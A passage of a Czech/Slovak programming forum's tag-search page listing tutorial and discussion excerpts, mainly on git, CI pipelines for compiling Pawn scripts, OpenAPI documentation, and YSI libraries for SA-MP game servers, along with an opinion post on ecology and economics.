Jump to content

Search the Community

Showing results for tags 'návod'.

  • Search By Tags

    Oddělujte čárkami
  • Search By Author

Content Type


Fórum

  • Obecné
    • Všeobecné
    • Všechno možné
  • Programování
    • Poradna
    • Návody
    • Tvorba
    • Hledám programátora
  • Herní oblast
    • Poradna
    • Jak na to?
    • Herní kontext
    • Herní zážitky
    • Komunita
  • Grafika
    • Poradna
    • Návody
    • Tvorba
  • Ostatní
    • Hardware a software
    • Hledám/nabízím
    • Archiv
    • 3D Tisk

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Web


Facebook


Jabber


Skype


Steam


Twitter


Github


Pastebin

  1. Zdravím, máte už niekto skúsenosti s http://open.mp ? V akom je stave, dá sa už použiť na live servery? Bude kompatibilnée s najznámejšími skcz modmi, u mňa je teda najpodstatnejší Paradise World, ale tak všeobecne, nakoľko už podporuje funkcie z originálneho samp? V čom sú najväčšie rozdiely? Beží už niekomu z Vás na tom server? Aké sú požiadavky? Ako je to s klientom, ktorý je pre open.mp najvhodnejší? Určite sa vyskytnú aj ďalšie podstatné otázky, zbavíme sa nakoniec všetci oldschooleri samp a prejdeme na open.mp?
  2. ffredyk

    návod Kecy o kolobkách

    Před časem jsem vytvořil kecací video ohledně nějakých základních informací o elektro koloběžkách, vypustil jsem to do relevantních skupin na FB a dostal za to hejt, tak jsem na to celkem zapomněl a dál to nepropagoval :D :D Nicméně jsem byl inspirován zdejším nárůstem aktivity a celkově mi to zvedlo náladu, tak jsem si řekl, že vám to sem kydnu taktéž, abych mohl počíst další várku kritiky o tom, jak melu sračky a můj střih stojí za hovno :D (O to víc to bolí, když člověk v té video produkci pár let dělal na profi úrovni :D :D )
  3. Ahoj, jak přemýšlím co napsat do titulku tak by mě zajímalo zda ti z vás co ještě "pawní" používají git... Vyjádřete se v anketě Budeme dále předstírat že všichni co pawní používají git. Dalším krokem je verzování zkompilovaného souboru jednak k automatické kompilaci a druhak i k verzování zkompilovaného souboru pro případ nutného revertu k nějaké verzi. Připravil jsem předpisy k řekl bych dvěma nejpoužívanějším git platformám.. Github: name: CI on: push: branches: [ main ] pull_request: branches: [ main ] jobs: compilepawn: runs-on: ubuntu-latest container: sacnr/pawncc steps: - uses: actions/checkout@v1 - run: /pawnc/bin/pawncc main.pwn -iinclude -d2 -Z name: Compile - name: Upload amx uses: actions/upload-artifact@v1 with: name: compiled_script.amx path: main.amx Gitlab: image: sacnr/pawncc stages: - build build-job: stage: build script: - /pawnc/bin/pawncc main.pwn -iinclude -d2 -Z artifacts: paths: - main.amx expire_in: 1 week main.pwn a main.amx si přejmenujte podle svého entry scriptu. Výstup vypadá například takto: V repozitáři je nutné mít verzované i veškeré includy včetně knihoven konkrétní verze SA-MPu. Proklikat si to můžete zde : https://github.com/Ewwe/ci-cd-pawn-test
  4. Verzovací nástroj GIT Ahoj, jak jsem dlouhou dobu sliboval, tak přináším návod na verzovací nástroj GIT. Ve zkratce o co se vůbec jedná. Jedná se o software, který umožňuje verzovat kód, který programujete. TJ. uděláte si 10 řádkovej soubor, uložíte pomocí gitu a máte jednu verzi. Pak přijdete druhý den, připíšete dalších 10 řádků a máte druhou verzi. 3. den ovšem něco upravíte a máte třetí verzi. Bez gitu byste museli mít 3 složky se třeba totožnejma souborama, kde jsou právě uvedené změny. GIT umožňuje toto právě vynechat a vy celou dobu pracujete pouze s jednou složkou, která nese všechny informace o všech verzích. Další velké plus, proč verzovat kód je to, že na jednom souboru může pracovat více lidí na různých počítačích a GIT umí následně soubory sjednotit v jeden a vystavit ho jako novou verzi. V tomto návodu se dozvíte nejzákladnější práce s gitem tj: clone (stáhne existující kód z gitu) status (zobrazí aktuální změny vůči poslední verzi) add (přidá vaše aktuální změny k plánované další verzi) commit (potvrdí lokální změny jako novou verzi) push (odešle změny na remote server, kde si je budete moct prohlížet) Spousta lidí používá pro verzování nějaké gui jako třeba sourcetree nebo rovnou ide, ovšem já nejsem zastánce gui u gitu, protože: U gui nevíte nikdy co to přesně dělá a nevidíte jaký je output gitu a za 2. u gui musíte hledat kde se to ovládá a je to zbytečně složité... Příprava 1. Budeme potřebovat nainstalovat git: LINUX: Stáhněte si balíček git: Debian: apt-get install git RedHat/RHEL: yum install git, dnf install git MAC: Stáhněte si balíček git: brew install git WINDOWS: Tady to je složitý... Stáhněte si https://gitforwindows.org/ Nainstalujte dle instrukcí, všechny nastavovátka nechte tak jak jsou. Linux/Mac uživatelé budou používat terminál, Windows uživatelé Git Bash (nový nainstalovaný program). Po celou dobu se budeme pohybovat ve složce /Projects a podsložkách. Všude budu psát preffix kde se aktuálně pohybujeme. 2. Budeme potřebovat git repositář. Pro demonstraci budu používat a odkazovat se na github.com. Toto je návod na práci s gitem, nikoli práci s githubem, proto napíšu body co je třeba splnit a přidám případně ostatní návody. Zaregistrujte si účet na githubu Vytvořte nový public repositář (https://docs.github.com/en/get-started/quickstart/create-a-repo) Zjistěte si URL vašeho repositáře. (Chceme url která začíná https nikoli ssh) Bod č. 3 tohoto návodu: https://docs.github.com/en/repositories/creating-and-managing-repositories/cloning-a-repository Stažení repositáře V předchozí části jsme vytvořily remote repositář, ve kterém máme README.md případně nic. Záleží zda jste nechali vygenerovat readme soubor při zakládání repositáře. Otevřeme si terminal/gitbash a budeme pracovat jen v něm. pomocí cd přejdeme do složky /Projects např. cd /home/hip/Projects Nyní si stáhneme vytvořený repositář do pc pomocí clone: git clone [url] parametr url je url repositáře Nyní vejdeme do stažené složky cd [název složky = název projektu] název složky je název projektu zadávaný při vytvoření repositáře. Pro demonstrativní účely budu používat "mujProjekt" Nyní máme stažený repositář, což je vlastně první verze našeho kódu a jsme ve složce, která je pod kontrolou gitu. Když se podíváte do složky, ukrývá se tam skrytá složka .git, která obsahuje informace o jednotlivých verzích, remote repo (což je u nás github) a hromadu dalších informací, aktuálně nepodstatných. Práce se složkou/projektem Ať je to k nevíře, se složkou mujProjekt se pracuje uplně normálně jako s každou jinou. Můžete ji celou kamkoliv přesunout, můžete v ní upravovat kód. Má to jeden jediný rozdíl, všechno co se upravuje ve složce může být součástí další verze kódu (ale nemusí). Řekněme, že jsme pracovali, udělali nějaký kód a máme hotovo. Vyvtoříme si soubor helloworld.txt uvnitř složky /Projects/mujProjekt a obsah bude třeba Hello world! Máme práci hotovou a chceme potvrdit změny a odeslat na remote repo. Půjdeme zpět do terminálu Zjistíme jak jsme na tom přes status: git status Terminál nám vyhodí output, kde bude červený řádek podobný tomuto: N helloworld.txt Tím vidíme, že git ví o našich změnách. Nyní vytoříme novou verzi. Ovšem než to uděláme, musíme gitu říct, jaké soubory chceme do nové verze dát. To je náš helloworld.txt soubor: git add helloworld.txt Zkusíme si dát opět status a uvidíme, že soubor není červený, ale zelený. To znamená, že vyvtoření následující verze bude s tímto souborem. Vytvoříme verzi: git commit -m "Muj prvni commit" commit vytvoří verzie, parametr -m udává commit zprávu a zpráva je info ke commitu. Jak můžete vidět, není to version, ale commit. V gitu se označuje verze jako commit, takže od teď budu používat slovo commit. Nyní máme commitnuto a změny jsou lokálně u nás. Abychom změny dostali do remote repo, postačí nám k tomu push: git push Toto odešle změny na github, naše remote repo. Ikdyž se jedná o public repository, tak pushovat změny může jen oprávněný uživatel. V tuto chvíli vám vyskočí prohlížeč a požádá vás o přihlášení. Přihlásíte se a proces se automaticky dokončí. Nyní když se podíváme, tak změny jsou na githubu. Závěr Toto je nejzákladnější práce s gitem. Zkuste si takhle udělat pár dalších commitů a poslat si je tam. Udělejte si tam třeba další složky. Když používáte add tak nemusíte specifikovat každý soubor extra, ale stačí napsat název složky a automaticky to přidá všechny změněné soubory ve složce. Dejte sem nějaký ohlas a já udělám další část, o něco složitější. PS: Dnes to po sobě nečtu, nemám čas.
  5. Jagshemas, v tomto insighteri by som vam chcel predstavit generovanie API dokumentacie pre webove aplikacie. O co ide? Dokumentavanie webovych endpointov je velmi dolezite pokial chcete, aby vase API pouzivali aj ostatni ludia. Nikto poriadne neriesi ako vlastne na to a vela krat je vysledkom iba odflaktnuty automaticky vygenerovany swagger napr. z .NETu. Ako bude vygenerovana dokumentacia vyzerat/o co sa vlastne jedna vizualne? Priblizne takto: https://stripe.com/docs/api/orders/object a takto https://redocly.github.io/redoc/#section/Introduction Ako nato? Existuje super standard, ktory sa vola OpenAPI (ako inak). Je to schema JSON/YAML suboru v ktorom popisujete vase API. Zaklad suboru vam dokaze pravdepodobne vyexportovat vas framework, ako napr. vyssie spominany Swagger v .NET. Na editovanie a pridavania examplov, popisu a pod. je opensource SW s nazvom Spotlight Studio. A finalne, na generovanie sa moze pouzit redoc, ktory vam dokaze subory bud servovat (ako http server) alebo vygeneruje standalone all-in-one html subor, ktory si nahodite na svoj web. Pre generovanie sa pouzije jednoduchy prikaz: npx redoc-cli bundle <nazov_suboru.yaml> (nodeJs potrebne. npx spusti npm package bez toho, aby ho stiahol). Linky: Spotlight Studio - https://stoplight.io/studio/ ReDoc - https://github.com/Redocly/redoc OpenAPI specka - https://www.openapis.org/
  6. Ahoj, videl som tému o návrhu EU o jednotné konektory. Z príspevkov v téme som nabral dojem, že ľudia sa tu rozdelujú do dvoch skupín: Ekologický postoj --- som zodpovedný/plánujem mať deti a nechcem im zhoršovať zbytočne život/nuclear is clean Ekonomický postoj --- nekúpim si predražené bambusové čistítka uší keď plastové sú funkčne identické a lacnejšie/elektro autá sú zlé, lebo A,B,C,D,.../nuclear is danger V tomto príspevku sa pokúsim vysvetliť dôvod existencie týchto dvoch postojov. Fakty Je rozumné, aby si každý pred zapojením sa do konverzácie overil svoje fakty. Ľudia patriaci do skupiny proti ekológii majú z mojich skúseností tendenciu šíriť hoaxy, a zakladať svoje postoje na nepravdivých informáciách. Z môjho pohľadu je to pochopiteľné. Najčastejšie hoaxy, s ktorými som sa stretol: Elektromobily sú menej ekologické než benziňáky --- hoax[1] Rozvojové krajiny (Čína, ...) spôsobujú a sú zodpovedné za viac emisí než rozvinuté krajiny --- hoax. Ľudia hlásajúci tento hoax si asi neuvedomujú, že žijeme v globálnej ekonomike. Preto je nutné emisie rozdeliť na produkčné a spotrebiteľské, pretože niektoré krajiny vytvárajú viac jeden typ ako druhý. Produkčné emisie v Číne sú dané výrobou tovaru, ktorý je spotrebovávaný v EU. Tento spôsob myslenia sa nazýva aj trade-adjusted emissions accounting. Zaujímavé je, že priemerný občan Českej republiky vytvorí viac CO2 emisií než priemerný Číňan --- aj v produkčných aj spotrebných emisiách.[2] To bolo teda o spôsobovaní emisií. Ja som ale presvedčený, že EU nesie vyššiu subjektívnu zodpovednosť za emisie, keďže má schopnosti tieto emisie obmedzovať. Rozoberanie problému dezinformovanosti si nechám na iný deň... Ekologický postoj Je založený na vnímaní sveta a zdrojov ako obmedzených kapacít. Postoj sa začal šíriť hlavne s publikáciou Limits to growth.[3] Práve táto kniha spopularizovala fakt, že zdroje sú obmedzené. V našej spoločnosti sa produkty vyrábajú a spotrebovávajú, ako by ich bolo nekonečno. Zaujimavým vhľadom je, že hodnotenie úspechu krajín na základe HDP je hodnotenie na základe produkcie. Vo svete, kde sa predbieha o množstvo produkcie (=> množstvo spotrebovaných surovín) je jasný konvergentný stav kde sa spotrebujú všetky suroviny. Krátkodobo-ekonomický postoj Prakticky vždy je menej-ekologický výrobok lacnejší než viac-ekologický výrobok. To preto, že výroba ekologického produktu zahŕňa aj činnosti, ktoré nesúvisia priamo s produktom, ale aj so starostlivosťou o životné prostredie počas výroby produktu. Je ekonomicky rozumné a správne kúpiť si neekologický produkt. Toto predurčuje ekológiu iba pre krajiny s vysokou životnou úrovňou a prenáša zodpovednosť za ekologické problémy do týchto krajín. Vysvetlenie klimatickej krízy --- Prisoner's dilemma Predpokladám, že viete čo je to Väzňovo dilema. Ak nie, prosím prečítajte si Klasické prisoner dilemma na wiki.[4] Nemá zmysel aby som to prepisoval. V stručnosti, jedná sa o situáciu, v ktorej sa oplatí každému zúčastnenému uprednostniť čin vo svoj prospech. Keď však všetci jednotlivci vykonajú tento čin, všetci skončia s horším výsledkom, než keby jednotlivo nevolili vo svoj prospech. Multi-player prisoners dilemma je situácia, ktorá modeluje problém ekológie a spotreby. V takomto modeli viac hráčov vykonáva rozhodnutia, pričom dominantná stratégia každého hráča je uprednostniť svoj prospech a tým aj zhoršenie situácie všetkým vrátane jeho samotného. Tento jav sa často nazýva aj Tragedy of the commons. Wiki uvádza aj ďalšie prípady, ktoré sú prejavom tohto javu. Riešenie Je jasné, že kapitalistický systém by bez regulácie spôsobil zánik ľudského života tak, ako ho poznáme. Ako riešenie ekonómovia navrhujú štátne regulácie trhu. Jedným z návrhov je CO2 daň, ktorú by mal platiť každý producent CO2. V roku 2018 bola za toto udelená Nobelova cena z ekonómie.[5] Aj preto vnímam zmysluplné zavádzanie EU regulácií napr. o kábloch za správne. Záver Dúfam, že pochopenie situácie s ekológiou umožní každej skupine --- aj ekológom, aj ich odporcom --- porozumieť druhej skupine a pracovať na riešení v prospech všetkých ľudí. Ďakujem za pozornosť.
  7. YSI_Players\y_text 📄 + YSI_Players\y_languages 📚 ***** Upozornění: YSI_Players\y_text 📄 #include <YSI_Players\y_text> Takže, nejdříve y_text. Je založena podobně jako, když si uděláme makra zpráv, které se například opakuji a nechceme je neustále psat: #define ERROR_MSG_ALEVEL "[ ! ] {FFFFFF}Nemáš dostatečné oprávnění !" // Simple code if (var[playerid] == false) return SendClientMessage(playerid, 0xFF000000, ERROR_MSG_ALEVEL); // Simple code Což je dobré. Můžeme kdykoliv zprávu změnit a nemusíme přepisovat stovky zpráv kdybychom chtěli cokoliv měnit. Nicméně problém je, že taková akce vyžaduje, aby se celý kód znovu kompiloval. A do toho přichází y_text. Díky kterému nejen, že můžeme měnit zprávu, ale můžeme jí změnit aniž by jsme museli znovu kompilovat kód. Teď někdo zkušenější by si asi řekl: ,,Nojo, ale pokud chceš mít upravitelné zprávy a nemuset stále kompilovat, tak si je jednoduše uložíš a pak načteš. Tak co bylo na tom tak speciální?". A odpověď zní ano. Je to prakticky načítání řetězců. Zkusíme si takový menší hloupější příklad: Může to být o trochu lepší ale prozatím pracujme s tímhle. Zatím to není tak hrozné, ale při více zprávách už začne být trochu problém(a navíc si na každou zprávu deklarovat proměnnou? Bruh). Teď zkusíme to samé se y_text: loadtext soubor[sekce]; public OnPlayerConnect(playerid) { Text_Send(playerid, $MSG_WELCOME); return 1; } public OnPlayerDisconnect(playerid, reason) { Text_Send(playerid, $MSG_BYE); return 1; } YCMD:hp(playerid, o[], help) { // Simple code if (AdminLevel[playerid] < LEVEL_MODERATOR) return Text_Send(playerid, $ERROR_MSG_ALEVEL); // Simple code } A to je všechno . Takže, jak si někteří všimli máme tu dvě zajímavosti a to funkce loadtext a Text_Send(). Funkce loadtext slouží právě na načtení údajů z našeho soubor.txt a přesněji všechen text pod tagem [sekce]. Jméno souboru i sekce jsou jedno jaké, klidně i server_text_benzinka.txt, ale jsou důležité tři body: Koncovka souboru se musí shodovat se zkratkou ve Langs_Add(o tom později), protože z toho pak načítá i text, dle toho v jakém jazyce se má zobrazit a jaký hráč má nastavený, Musíme přidat tag sekce textů, které má následně načíst, Adresa daného souboru aby byla ve scriptfiles/YSI/tu Takže příklad, vytvoříme si soubor Czech.CZ ve scriptfiles/YSI/ a v něm budou tři zprávy: [cze] MSG_HELLO = Ahoj, vítej na serveru. MSG_BYE = Sbohem. Zase se někdy zastav. MSG_ERROR = Někde nastala chyba! Nyní v kódě si tenhle text načteme pomocí: loadtext Czech[cze]; A můžeme začít používat kdekoliv pomocí funkce Text_Send(). Nesmíme ale zapomenout na znaménko $, které odkazuje právě na danou zprávu v souboru: Text_Send(playerid, $MSG_HELLO); Text_Send(playerid, $MSG_BYE); Text_Send(playerid, $MSG_ERROR); Ale tady zábava nekončí, protože Text_Send() je velmi chytrá funkce a nejen, že to může poslat hráčovi, ale také i všem hráčům v dané skupině: new Group:gVips; Text_Send(gVips, $MSG_VIP_EVENT); Nebo i všem co mají nějakou naší proměnnou. Nicméně pokud to je naše proměnná a nic ze YSI, tak musíme před proměnnou přidat znak @ a všem, kdo mají tuto proměnnou true se odešle zpráva(nelze udělat pro všechny co mají false ): new bool:bIsVip[MAX_PLAYER]; Text_Send(@ bIsVip, $MSG_VIP_EVENT); Můžeme i odeslat formátovanou zprávu se specifikátory! Stačí si jen ten specifikátor přidat do našeho souboru: [cze] MSG_HELLO = Ahoj %q, tvoje ID je %i. MSG_BYE = Sbohem %s(ID:%i). public OnPlayerConnect(playerid) { // Specifikátor %q je nick hráče a potřebuje jedno playerid // aby to jméno zjistil, pak druhé je jeho id samozřejmě. Text_Send(playerid, $MSG_HELLO, playerid, playerid); return 1; } Specifkátory do souboru jsou: %c - Character %b - Boolean %f - Float %s - String %q - Nick hráče, které zjistí z jeho ID %g - Zobrazení nekonečna %d + %i - Čísla %l - Slovně boolean, cokoliv větší než 0 se zobrazí jako true, a 0 se zobrazí jako false. %n - Příkaz, aka jak se zobrazí příkaz ve hře (kdyby uživatel chtěl změnit jejich jméno). [cze] MSG_HELP = Tento příkaz neexistuje, zkus se podívat do %n. Text_Send(playerid, $MSG_HELP, YCMD:help); Můžeme měnit i barvu naší zprávy. Ideální je na to použít naše y_colors, protože obsahují 4000 barev, tak na co si hledat vlastní? Jsou dvě možnost jak přidávat barvy do zpráv, lepší a horší. Horší je pomocí #jméno ale ten není zavřený, takže může sežrat i kus ze slova, například #GOLDenter by zobrazilo pouze ter, protože # sežral -en pro barvu GOLDEN, takže lepší je používat ve {jméno}: [cze] MSG_CMD_HELP = {RED}[ ! ] {SNOW}Tento příkaz neexistuje, zkus {RED}/help Lze použít i "X11" barvy, a postup je úplně stejný: RED -> X11_RED. Nicméně, je tu přecijen pár limitů. Jeden z nich je, že zpráva nemůže být delší než 128(je možné, že se to už zvětšilo, nikde o tom nic není). Takže, jestliže chceme delší text, tak můžeme použít další "specifikátor"(ono je to spíše identifikátor) a to _číslo, příklad _3, _2, _1...: [cze] MSG_DLOUHY_1 = Tohle bude moc dlouhý text, takže si radši na to něco dáme. "_2" "_3" MSG_DLOUHY_2 = Například budu tady psát náhodná slova takže něco jako slovosled MSG_DLOUHY_3 = to vůbec nebude existovat, protože heh to tak určitě. MSG_DLOUHE4 = Tohle už tam patřit nebude, protože nějáký vůl zapomněl přidat podtržítko před slovo DLOUHE. Text_Send(playerid, $MSG_DLOUHY); Teď, když víme jak na dlouhé texty, můžeme odeslat i dialog takhle? Ale samozřejmě, i na to má y_text funkce a hned na všechny styly dialogů: Text_MessageBox(...); Text_InputBox(...); Text_ListBox(...); Text_PasswordBox(...); // Jestliže ale i tak chceme vlastní tak: Text_DialogBox(playerid, DIALOG_STYLE_TABLIST_HEADERS, ...); Příklad použití: [czech] DIALOG_NABOJE_TITLE = Dům a náboje DIALOG_NABOJE = Napiš, kolik chceš schovat %s nábojů do domu číslo %i: DIALOG_CANCEL = Zrušit DIALOG_ACCEPT = Potvrdit inline OnHouseWeaponAdd(...) { // Simple code } Text_InputBox(playerid, using inline OnHouseWeaponAdd, $DIALOG_NABOJE_TITLE, $DIALOG_NABOJE, $DIALOG_ACCEPT, $DIALOG_CANCEL, GetPlayerWeaponName(playerid), GetHouseIDbyPlayer(playerid)); YSI_Players\y_languages 📚 A teď přichází ten důvod, proč je důležitá i koncovka souboru. Jestliže budeme používát y_text(nebo cokoliv, co ho obsahuje), tak nejen, že to vyhodí varování o nevyužití funkce Langs_Add a nejen, že stejné varování vyhodí i do konzole serveru ale také se nenahrají pořádně naše texty, protože ať chceme nebo ne, y_text se nahrajou spolu s y_languages a jakmile y_languages zaznamená, že není žádný jazyk, hodí se jako #NO_LANGUAGE (-1) a nic nenačte ani nenajde. Jestliže chceme ale jen používat vymoženost y_text a ukládat si naše zprávy do souboru, tak není problém. Stačí ten jazyk deklarovat, nastavit hráči a to je všechno. Nicméně, knihovna přináší pár zajímavých pomůcek pro servery co mají více jazyků. První co, tak si deklarujeme náš nový jazyk a jako vždy(a stejně jako y_groups) i on má vlastní tag: // Soubor czech.CZ: [all] HELLO = Dobrý den. //Soubor french.FR: [all] HELLO = Bonjour //Soubor germany.DE: [all] HELLO = Guten Tag. // Můžeme i více nahrání: loadtext czech[all], french[all], germany[all]; Všimněte si, že všechny 3 soubory mají stejný keyword HELLO. A jak teda pak zobrazit hráči tu správou zprávu? To přece podle toho jaký má nastavený jazyk! Tak pojďme si je vytvořit: Stejně jako y_groups i jazyky si musíme definovat: Mají dva argumenty a to 2 písmena(zkratka+koncovka souboru odkud se ten text jazyka nahrává) a jak se ten jazyk bude zobrazovat. Oboje samozřejmě lze zobrazit pak následně ve hře: public OnGameModeInit() { lCzech = Langs_AddLanguage("CZ", "Čeština"); lFrench = Langs_AddLanguage("DE", "Deutsche"); lGermany = Langs_AddLanguage("FR", "Français"); return 1; } Nyní ten jazyk samozřejmě musíme hráči nastavit. Můžeme buď jakmile se nastaví a nebo například v dialogu: new string[27]; format(string, sizeof string, "%s\n%s\n%s", Langs_GetName(lCzech), Langs_GetName(lFrench), Langs_GetName(lGermany)); inline OnChangeLanguage(pid, ...) { // Sample code switch (listitem) { case 0: Langs_SetPlayerLanguage(pid, lCzech); case 1: Langs_SetPlayerLanguage(pid, lFrench); case 2: Langs_SetPlayerLanguage(pid, lGermany); } // Sample code return 1; } Dialog_Show(playerid, using inline OnChangeLanguage, DIALOG_STYLE_LIST, "Nastavení", string, "Potvrdit", "Zavřít"); A teď, protože máme už jazyky načtené, máme je vytvořené i nastavené, tak můžeme hráčům posílat zprávy podle toho, jaký mají nastavený jazyk, například: YCMD:hello(playerid, o[], help) { return Text_Send(playerid, $HELLO), 1; } A to je všechno. Jak jsem již psal, y_languages si zjistí jazyk hráče podle toho jaký má nastavený. Pak dle toho vleze do správného souboru, vemze zprávu a zobrazí. Další věc, co se může hodit, tak zobrazení i zkratky jazyka: public OnPlayerText(playerid, text[]) { // Simple code if (...) { va_SendClientMessageToAll(X11_SNOW, "[%s] %s(%i): %s", Langs_GetCode(Langs_GetPlayerLanguage(playerid)), ReturnPlayerName(playerid), playerid, text); return 0; } // Simple code return 1; } Výsledek: [CZ] Scydo(ID:0): Ahoj, jak se vede? __________________________________________________________ Gratuluji, dostali jste se až na konec 🥳🥳🥳 Hlavní topic - odkaz
  8. Nasiel som tuto velmi zaujimavu sadu includov, kde su zadefinovane vsetky ciselne prvky ako enumy. Pred tym som to este nikde nevidel takto pokope. Napr farba: #define COLOR_LIGHTRED 0xEE9090FF Alebo ikony: #define ICON_SCHOOL 36 Alebo skin: #define SKIN_CJ 0 //Carl "CJ" Johnson (Main Character) Alebo co sa mne velmi pacilo, tak Vehicle Health: #define VEH_HEALTH_FULL 1000 #define VEH_HEALTH_FULL_LOW 650 #define VEH_HEALTH_WHITESMOKE 649 #define VEH_HEALTH_WHITESMOKE_LOW 550 #define VEH_HEALTH_GREYSMOKE 549 #define VEH_HEALTH_GREYSMOKE_LOW 390 #define VEH_HEALTH_BLACKSMOKE 389 #define VEH_HEALTH_BLACKSMOKE_LOW 250 #define VEH_HEALTH_ONFIRE 249 Takze miesto cisla mozete pouzit text, ktory je ludskym okom lepsie citatelny nez nezname cislo, napr. 550. Miesto SetVehicleHealth(vehicleid, 550); mozete pouzit SetVehicleHealth(vehicleid, VEH_HEALTH_WHITESMOKE_LOW); Link na includy: https://github.com/kkmzero/isampp/tree/main/include/i_sampp
  9. YSI_Coding\y_stringhash + YSI_Coding\y_unique + YSI_Coding\y_remote + YSI_Game\y_vehicledata ***** Ahoj. Jsem tu opět a mám pár dalších docela zajímavých objevů ze YSI, o které se s váma musím podělit. YSI_Coding\y_stringhash #include <YSI_Coding\y_stringhash> hašování, přesněji hašovací funkce jsou funkce, které převedou pomocí matematické operace data do jednoduššího číselného údaje - více. y_stringhash pracuje velmi podobně. Vezme řetězec údajů a hodí do do číselné podobny, která se pak snadněji podmínkuje. K čemu to je dobré? Určitě známe všichni switch. Jestliže ne, více v návodě od @vEnd: A jak všichni víme, jediné údaje, které se dají přepnout jsou obyčejné hodnoty, které se lze porovnávat jako jsou int, float či boolean. A porovnávat řetězec? Například, když si chceme udělat příkaz /drazba, kde bude mít v příkaze možnost napsat jestliže bude dražit auto, dům nebo zbraň? Ani náhodou. Jediná možnost je pomocí funkce strcmp(), ale to není zrovna ideální. Tak přichází y_stringhash s možností i přepnout řetězec a to pomocí funkce YHash(): switch (YHash(mujStr, .podminka = boolean)) { case _H<dum>: { // Sample code } case _H<auto>: { // Sample code } case _H<zbran>: { // Sample code } YHash = Jméno funkce. mujStr = řetězec, který se hašuje, .podmínka = přesnějí argumenty funkce (jsou hned 4, později vysvětlím), _H = iterátor pro každý hašnutý údaj, ze slova Hash, <dum>, <auto>, <zbran> = hašnuté údaje, nepřidávat uvozovky! Ale pozor. YHash má zapnuté(true) case-sensitive, takže ahoj a Ahoj, aHoj apod nebude to samé. Jestliže chceme zahrnout i to, musíme ho vypnout(false) a používat jiný iterátor a to _I (od slova Insensitive): #include <YSI_Visual\y_commands> YCMD:event(playerid, o[], help) { switch (YHash(o, .sensitive = false)) { case _I<tunning>: { // Sample code } case _I<derby>: { // Sample code } case _I<dm>: { // Sample code } /* Zajímavost, vyhodí error, že už je definovaný: */ case _I<DM>: { // Sample code } Co se týče podmínek, přesněji argumentů u YHash, tak jsou následujicí: Jestliže chceme hašovat packnutý řetězec: switch (YHash(mujStr, .sensitive = false, .pack = true)) A nebo jestliže chceme hašovat jen určitou délku(max length) řetězce: switch (YHash(mujStr, .sensitive = false, .len = 5)) A teď pozor dvě a to dávejte si pozor jestliže se vám některý hašnutý údaj neopakuje(i když stejně, jestliže máte vypnuté case-sensitive tak vám to vyhodí chybu). Y_Less také říká, že se může, i když velmi nepravděpodobně, stát, že i když jste si jistý na 100 % že nemáte žádný stejný údaj dvakrát a stejně vám to vyhodí chybu o shodnosti, tak stačí změnit 3. argument funkce type. Více o tom, jak to funguje a jak se obě používají - zde. YSI_Coding\y_unique #include <YSI_Coding\y_unique> Často se nemusí ani nahrávat. Ve velké většině se nahraje automaticky spolu se y_hooks. y_unique není nic více než jen hromada maker, které přidávají ke funkcím číslo jako jejich "id" a tak umožní používat stejnou funkci vícekrát. Nejčastějí se takové věci hodí do include. Největší a nejužitečnější ukázka použití je právě y_hooks, protože nejen, že můžeme hookovat stejné funkce ale také můžeme je hookovat vícekrát: #include <YSI_Coding\y_hooks> hook OnPlayerConnect(playerid) { // Sample Code #1 } hook OnPlayerConnect@2(playerid) { // Sample Code #2 } hook OnPlayerConnect@3(playerid) { // Sample Code #3 } Největší "id", které se dá použít je 999. Takže jich je určitě dost. YSI_Coding\y_remote #include <YSI_Coding\y_remote> y_remote je prakticky jen vylepšené CallLocalFunction() a CallRemoteFunction(), nicméně, umožní dostávat chyby ještě před kompilací(například jestliže volaná fce nemá návratovou hodnotu a využívá se tak). Má hned několik keywords. Jedno z nich je vytvoření samotné funkce pomocí remotefunc: remotefunc LjmenoFunkce() { } // V jiném scriptu: remotefunc RjmenoFunkce() { } Dalším je voláním localfunc pro lokální a broadcastfunc pro mimo: public OnPlayerConnect(playerid) { // Zavolá pouze v aktuálním scriptu: localfunc LjmenoFunkce(); // Zavolá ve všech scriptech zároveň: broadcastfunc RjmenoFunkce(); return 1; } Pokud jde o argumenty, tak: localfunc LjmenoFunkce(cislo, Float:fcislo, string:rezezec[]) { pritnf("Cislo: %i, FCislo: %2.f Str %s", cislo, fcislo, retezec); } hook OnPlayerConnect@2(playerid) { localfunc LjmenoFunkce(11, 43.3, "ahojjoha"); return 1; } A jak jsem již psal, jedna z výhod y_remote je, že může vracet i určité chyby, například právě s chybou návratové hodnoty: #include <YSI_Core\y_utils> remotefunc void:prosteBla(cislo) { printf("Cislo = %i", cislo); } public OnPlayerConnect(playerid) { new mojecislo = localfunc prosteBla(10); return 1; } // Vyhodí chybu, prosteBla nemá návratovou hodnotu A ještě jedna věc. Jestliže máme deklarovanou funkci v jiném kódě v jiném scriptu, je potřeba u volání funkce s řetězcem přidat i délku(alespoň podle knihovny). YSI_Game\y_vehicledata #include <YSI_Game\y_vehicledata> Tak jo. Tohle bude zajímavější. Většina z nás si musela vždycky deklarovat jména modelů a nebo půl hodiny hledat id daného modelu pro náš FS. Teď ale díky y_vehicledata, které má prakticky všechny, není třeba. Funkce y_vehicledata mají tři hlavní kategorie: Vehicle_ = Funkce berou a používají vehicleid, které vrací například CreateVehicle(), Model_ = Funkce berou a používají modeild, které vrací právě GetVehicleModel(), VMI_ = aka "Vehicle Internal Model" a mají vlastní speciální hodnotu a je specifické pro tenhle include. A k tomu používají i vlastní tag VMI:. Rozdíl oproti modelům je, že je vždy validní, můžou se použít jako index pro foreach a také mají právě tag, díky kterému se můžou odlišit. Všechny tři kategorie si stojí i za jménem funkcí, takže například Vehicle_IsPolice(), Model_IsPolice() i VMI_IsPolice() je vše stejně definované. Nyní funkce: Vehicle_GetCategory(vehicleid); Navrátí ID kategorie vozidla, které můžete vidět na wiki - odkaz. Kdyžtak jména kategorií: CATEGORY_UNKNOWN CATEGORY_AIRPLANE CATEGORY_HELICOPTER CATEGORY_BIKE CATEGORY_CONVERTIBLE CATEGORY_INDUSTRIAL CATEGORY_LOWRIDER CATEGORY_OFFROAD // Verze 1 CATEGORY_OFF_ROAD // Verze 2 CATEGORY_PUBLIC CATEGORY_SALOON CATEGORY_SPORT CATEGORY_STATIONWAGON // Verze 1 CATEGORY_STATION_WAGON // Verze 2 CATEGORY_BOAT CATEGORY_TRAILER CATEGORY_UNIQUE CATEGORY_RC A teď pokud jde o funkce pro podmínky, tak těch je hned několik. A jsou právě kategorizované dle modelu daného vozidla: (Poznámka: za jménoFce dosadit jednu ze tří kategorií, co chcete použít a to Model, 